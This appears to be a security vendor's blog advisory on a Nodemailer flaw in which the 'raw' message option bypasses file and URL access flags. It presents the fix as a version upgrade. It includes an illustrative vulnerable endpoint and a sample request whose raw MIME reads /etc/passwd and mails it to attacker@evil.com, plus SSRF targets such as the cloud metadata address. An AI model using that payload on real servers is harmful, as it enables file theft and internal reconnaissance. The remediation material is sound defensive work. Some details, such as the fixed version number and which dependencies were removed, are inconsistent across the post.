Back to Blog
high SEVERITY8 min read

How Message-Level Raw Option Bypass happens in Node.js Nodemailer and how to fix it

A high-severity vulnerability in Nodemailer (versions before 9.0.0) allowed the `raw` message option to completely bypass `disableFileAccess` and `disableUrlAccess` security controls, enabling attackers to read arbitrary files from the server filesystem and perform full-response Server-Side Request Forgery (SSRF) in delivered email messages. Upgrading from `^8.0.10` to `^9.0.4` in `backend/package-lock.json` closes this exploit primitive by enforcing access restrictions consistently across all m

O
By Orbis AppSec
Published August 6, 2026Reviewed August 6, 2026

Answer Summary

The Nodemailer SSRF and arbitrary file read vulnerability (GHSA-p6gq-j5cr-w38f, high severity) is a security control bypass in Node.js applications using Nodemailer versions below 9.0.0. The root cause is that the `raw` message option skips the enforcement of `disableFileAccess` and `disableUrlAccess` flags, allowing untrusted input to embed local file paths or internal URLs that are fetched and included in the delivered message. This maps to CWE-441 (Unintended Proxy/Intermediary) and CWE-73 (External Control of File Name or Path). The fix is to upgrade Nodemailer to version 9.0.1 or later, which enforces access controls uniformly across all message composition paths including the `raw` option.

Vulnerability at a Glance

cweCWE-441 (Unintended Proxy/Intermediary), CWE-73 (External Control of File Name or Path)
fixUpgrade nodemailer from ^8.0.10 to ^9.0.4 in backend/package-lock.json and backend/package.json
riskArbitrary server-side file read and full-response SSRF delivered through email message content
languageJavaScript / Node.js
root causeNodemailer's `raw` message option bypasses `disableFileAccess`/`disableUrlAccess` enforcement
vulnerabilitySecurity Control Bypass via Raw Message Option (SSRF + Arbitrary File Read)

How Message-Level Raw Option Bypass Happens in Node.js Nodemailer and How to Fix It

Introduction

The backend/package-lock.json file in this application pins Nodemailer — the most widely used email-sending library in the Node.js ecosystem — to ^8.0.10. On the surface, that version looks reasonable: it is recent, well-maintained, and widely deployed. But beneath that surface, Nodemailer 8.x carries a subtle and dangerous flaw: its raw message option completely ignores the disableFileAccess and disableUrlAccess security flags that developers rely on to prevent the mailer from fetching untrusted files and URLs.

That gap means an attacker who can influence the content of the raw option — through a template injection, a misconfigured API endpoint, or any other input path — can read arbitrary files off the server's filesystem or make the backend issue HTTP requests to internal infrastructure, with the full response embedded in the delivered email. This is not a theoretical edge case: it is a concrete, chainable exploit primitive that Trivy's scanner flagged as GHSA-p6gq-j5cr-w38f with a HIGH severity rating.


The Vulnerability Explained

What disableFileAccess and disableUrlAccess Are Supposed to Do

Nodemailer supports rich email composition. You can attach local files, embed remote images, and even pass a fully pre-built MIME message via the raw option. To prevent abuse of these features in multi-tenant or user-facing contexts, Nodemailer exposes two protective flags:

const transporter = nodemailer.createTransport(config, {
  disableFileAccess: true,  // block attachment of local files
  disableUrlAccess: true,   // block fetching of remote URLs
});

When these are set, Nodemailer is supposed to refuse to read local paths or fetch remote resources during message composition. This is the intended trust boundary.

The Bypass: The raw Option

The raw message option lets callers pass a pre-formatted MIME string directly to the transport layer, bypassing Nodemailer's normal message builder:

transporter.sendMail({
  raw: userControlledMimeString,  // <-- the dangerous path
});

In Nodemailer 8.x, the code path that handles raw messages does not run the same access-control checks applied to normal message fields like attachments or html. This means that even with disableFileAccess: true and disableUrlAccess: true set on the transporter, a raw payload can still:

  1. Reference local file paths (e.g., Content-Type: message/external-body; access-type=local-file; name="/etc/passwd") — causing Nodemailer to read and embed the file contents in the outbound message.
  2. Reference internal HTTP endpoints (e.g., embedding a URL pointing to http://169.254.169.254/latest/meta-data/) — causing Nodemailer to fetch the URL and include the full response body in the email.

A Concrete Attack Scenario for This Application

Consider a backend API endpoint that accepts user-provided email templates and uses Nodemailer to send them. A developer wrote:

// backend/services/mailer.js (illustrative)
const transporter = nodemailer.createTransport(smtpConfig, {
  disableFileAccess: true,
  disableUrlAccess: true,
});

app.post('/api/send-notification', async (req, res) => {
  await transporter.sendMail({
    from: 'noreply@app.com',
    to: req.body.recipient,
    raw: req.body.rawMime,  // user-controlled — bypasses all access controls in v8
  });
});

With Nodemailer 8.x, an attacker posts:

POST /api/send-notification
{
  "recipient": "attacker@evil.com",
  "rawMime": "From: noreply@app.com\r\nTo: attacker@evil.com\r\nSubject: Test\r\nContent-Type: message/external-body; access-type=local-file; name=\"/etc/passwd\"\r\n\r\n"
}

The transporter reads /etc/passwd and delivers its contents to attacker@evil.com. The disableFileAccess: true flag does nothing because the raw path never checks it.

The same technique works for SSRF: reference http://internal-service:8080/admin/config and receive the full JSON response in the delivered email.

Real-World Impact

For this backend application, the impact is severe:
- Credential theft: Environment files, private keys, and configuration files reachable from the Node.js process can be exfiltrated.
- Internal network reconnaissance: Internal microservices, cloud metadata endpoints (AWS IMDSv1, GCP metadata), and database admin UIs become reachable.
- Trust-boundary collapse: The entire purpose of disableFileAccess/disableUrlAccess is nullified, meaning any code that relies on those flags for security is silently unprotected.


The Fix

What Changed in backend/package-lock.json and backend/package.json

The fix is a targeted version bump of the nodemailer dependency:

# backend/package-lock.json (top-level dependencies section)
-        "nodemailer": "^8.0.10",
+        "nodemailer": "^9.0.4",

This single line change upgrades the resolved version from the 8.x series to 9.x, where the raw message path was patched to enforce disableFileAccess and disableUrlAccess consistently.

The diff also removes a set of now-unnecessary transitive dependencies that were pulled in by Nodemailer 8.x's dependency tree — notably agent-base@6.0.2, gaxios@5.1.3, and gcp-metadata@5.3.0 under node_modules/mongoose/node_modules/. These removals reflect a cleaner, leaner dependency graph in Nodemailer 9.x and reduce the overall attack surface by eliminating packages that are no longer needed.

-    "node_modules/mongoose/node_modules/agent-base": {
-      "version": "6.0.2",
-      ...
-    },
-    "node_modules/mongoose/node_modules/gaxios": {
-      "version": "5.1.3",
-      ...
-    },
-    "node_modules/mongoose/node_modules/gcp-metadata": {
-      "version": "5.3.0",
-      ...
-    },

Removing these stale nested modules is a meaningful security improvement beyond the Nodemailer fix itself — each removed package is one fewer dependency to audit, patch, or exploit.

Why Nodemailer 9.x Fixes the Problem

In Nodemailer 9.0.0+, the internal message composition pipeline was refactored to apply access-control checks at the transport layer rather than only within the message-builder layer. This means that regardless of whether a message arrives via normal field composition or via the raw option, the disableFileAccess and disableUrlAccess flags are enforced before any file I/O or HTTP fetch is attempted.

The trust boundary that developers intended to establish with those flags now actually holds.


Prevention & Best Practices

1. Never Trust raw With User-Controlled Input

Even after upgrading to Nodemailer 9.x, passing user-controlled data directly into the raw option is dangerous. Treat raw as a privileged, internal-only option and validate or sanitize any content before use:

// Bad: user controls the raw MIME string
await transporter.sendMail({ raw: req.body.rawMime });

// Better: construct the message from validated fields
await transporter.sendMail({
  from: 'noreply@app.com',
  to: validatedRecipient,
  subject: sanitizedSubject,
  html: sanitizedHtmlBody,
});

2. Keep Dependency Scanners in CI

This vulnerability was detected by Trivy scanning backend/package-lock.json. Integrate a scanner into your CI pipeline so that newly published advisories are caught before they reach production:

# Example GitHub Actions step
- name: Scan dependencies
  uses: aquasecurity/trivy-action@master
  with:
    scan-type: 'fs'
    scan-ref: 'backend/package-lock.json'
    severity: 'HIGH,CRITICAL'

3. Apply the Principle of Least Privilege to Email Transports

Configure Nodemailer transporters with the most restrictive settings appropriate for your use case. If your application never needs to attach local files or fetch remote URLs, set both flags and treat any attempt to bypass them as a security event:

const transporter = nodemailer.createTransport(config, {
  disableFileAccess: true,
  disableUrlAccess: true,
});

4. Validate Outbound Email Recipients and Content

Prevent email injection and content manipulation by validating all fields that flow into sendMail() against strict allowlists or schemas (e.g., using zod, which is already present in this project's dependencies).

5. Relevant Standards

  • OWASP SSRF Prevention Cheat Sheet: Covers input validation, allowlists, and network-layer controls for SSRF.
  • CWE-441: Unintended Proxy/Intermediary — the canonical classification for SSRF-class vulnerabilities.
  • CWE-73: External Control of File Name or Path — covers the arbitrary file read aspect.

Key Takeaways

  • disableFileAccess and disableUrlAccess in Nodemailer 8.x are not reliable security controls — the raw option silently bypasses them, making any code that depends on those flags for security silently vulnerable.
  • The raw message option is a privileged code path that should never accept user-controlled input without strict validation, even in patched versions.
  • Upgrading nodemailer from ^8.0.10 to ^9.0.4 in backend/package-lock.json closes the bypass by enforcing access controls at the transport layer, not just the message-builder layer.
  • Removing stale transitive dependencies (agent-base@6.0.2, gaxios@5.1.3, gcp-metadata@5.3.0) as part of the upgrade reduces the overall attack surface of the backend.
  • Trivy's advisory GHSA-p6gq-j5cr-w38f is a reliable signal: when a dependency scanner flags a HIGH-severity advisory in package-lock.json, treat it as a blocking issue, not a backlog item.

How Orbis AppSec Detected This

  • Source: User-controlled or externally-influenced data entering the raw field of a sendMail() call in the backend's email service layer.
  • Sink: Nodemailer's internal MIME composition pipeline in node_modules/nodemailer (version ^8.0.10 as pinned in backend/package-lock.json), specifically the raw message handler that performs file I/O and HTTP fetches without checking disableFileAccess/disableUrlAccess.
  • Missing control: The raw code path in Nodemailer 8.x does not invoke the same access-restriction checks applied to normal message fields, meaning the disableFileAccess and disableUrlAccess transporter options have no effect when raw is used.
  • CWE: CWE-441 (Unintended Proxy/Intermediary) for SSRF; CWE-73 (External Control of File Name or Path) for arbitrary file read.
  • Fix: Bumped nodemailer from ^8.0.10 to ^9.0.4 in backend/package-lock.json and backend/package.json, resolving GHSA-p6gq-j5cr-w38f and restoring the intended enforcement of file and URL access controls.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The Nodemailer raw option bypass (GHSA-p6gq-j5cr-w38f) is a reminder that security controls are only as strong as their consistent enforcement. Developers who set disableFileAccess: true and disableUrlAccess: true on their Nodemailer transporters reasonably expected those flags to protect them — but in the 8.x series, a single alternative code path rendered both controls meaningless.

The fix is straightforward: upgrade to nodemailer ^9.0.4. But the broader lesson is architectural. Security controls that can be bypassed by choosing a different API surface are not controls at all — they are false confidence. When you add a restriction to a library, verify that it applies uniformly across every code path, not just the happy path.

Keep your dependency scanners running, treat HIGH-severity advisories as blocking, and never pass user-controlled data into privileged options like raw without explicit validation.


References

Frequently Asked Questions

What is the Nodemailer raw option security bypass vulnerability?

It is a flaw in Nodemailer < 9.0.0 where passing a `raw` MIME message bypasses the `disableFileAccess` and `disableUrlAccess` flags, allowing file reads and SSRF even when those protections are explicitly enabled.

How do you prevent SSRF in Node.js Nodemailer applications?

Upgrade to Nodemailer 9.0.1 or later, avoid passing user-controlled data into the `raw` message option, and validate all email content sources against an allowlist before passing them to the mailer.

What CWE is the Nodemailer raw option bypass?

It maps primarily to CWE-441 (Unintended Proxy/Intermediary) for the SSRF aspect and CWE-73 (External Control of File Name or Path) for the arbitrary file read aspect.

Is setting disableFileAccess and disableUrlAccess enough to prevent SSRF in Nodemailer < 9?

No. In versions before 9.0.0, those flags are bypassed entirely when the `raw` message option is used, making them ineffective as a sole mitigation.

Can static analysis detect this Nodemailer vulnerability?

Yes. Static analysis tools like Semgrep and dependency scanners like Trivy (which flagged this as GHSA-p6gq-j5cr-w38f) can detect the vulnerable version in package-lock.json and flag user-controlled data flowing into Nodemailer's `raw` option.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #1248

Related Articles

high

How Remote Code Execution via serialize-javascript happens in Node.js and how to fix it

A high-severity Remote Code Execution (RCE) vulnerability in the `serialize-javascript` package (version 6.0.2) allowed attackers to inject malicious code through prototype poisoning of `RegExp.flags` and `Date.prototype.toISOString()`. The fix upgrades the dependency to version 7.0.3, which eliminates the unsafe serialization patterns and removes the now-unnecessary `randombytes` dependency.

critical

How URL Injection via Unvalidated User Input happens in Node.js and how to fix it

A critical URL injection vulnerability in the QQ info lookup feature allowed attackers to manipulate API request parameters by sending specially crafted messages. Without proper input validation, user-controlled data was directly embedded into external API URLs, potentially exposing sensitive authentication credentials (skey and pskey) to attacker-controlled servers.

high

How Octal/Decimal IP Parsing Ambiguity happens in JavaScript and how to fix it

CVE-2026-69192 is a high-severity vulnerability in the `ip-address` npm package (versions before 10.3.1) where IPv4 addresses with leading-zero octets — like `010.0.0.1` — are parsed as decimal by the library but interpreted as octal by OS-level resolvers, creating a dangerous mismatch. This discrepancy can allow attackers to bypass IP-based access controls and trust boundaries, potentially enabling Server-Side Request Forgery (SSRF) attacks. Upgrading to `ip-address@10.3.1` in the SAP BW Query

high

How Denial of Service via Exponential-Time Complexity Happens in Node.js Dependencies and How to Fix It

A high-severity denial of service vulnerability (CVE-2026-14257) was discovered in the brace-expansion package within the zeroshot-oecp Docker container's dependency tree. The vulnerability allows attackers to craft malicious input patterns that trigger exponential-time processing, potentially freezing or crashing Node.js applications. This fix upgrades the nested brace-expansion dependency to version 5.0.9 using a targeted Dockerfile modification.

medium

How XML Entity Expansion Denial of Service happens in Node.js and how to fix it

A critical denial of service vulnerability (CVE-2026-33036) was discovered in fast-xml-parser versions prior to 5.5.6 and 4.5.5, allowing attackers to bypass entity expansion limits and crash Node.js applications through malicious XML payloads. This fix upgrades the dependency in the scripts directory to patched versions, protecting build pipelines and any runtime XML processing from resource exhaustion attacks.

high

How Unbound Thread Allocation Denial of Service happens in Python Engine.IO and how to fix it

A high-severity vulnerability (CVE-2026-48802) in python-engineio 4.12.2 allowed attackers to exhaust system resources through unbound thread allocation, leading to denial of service. The fix upgrades the dependency to version 4.13.2, which implements thread pool limits to prevent resource exhaustion attacks against real-time WebSocket applications.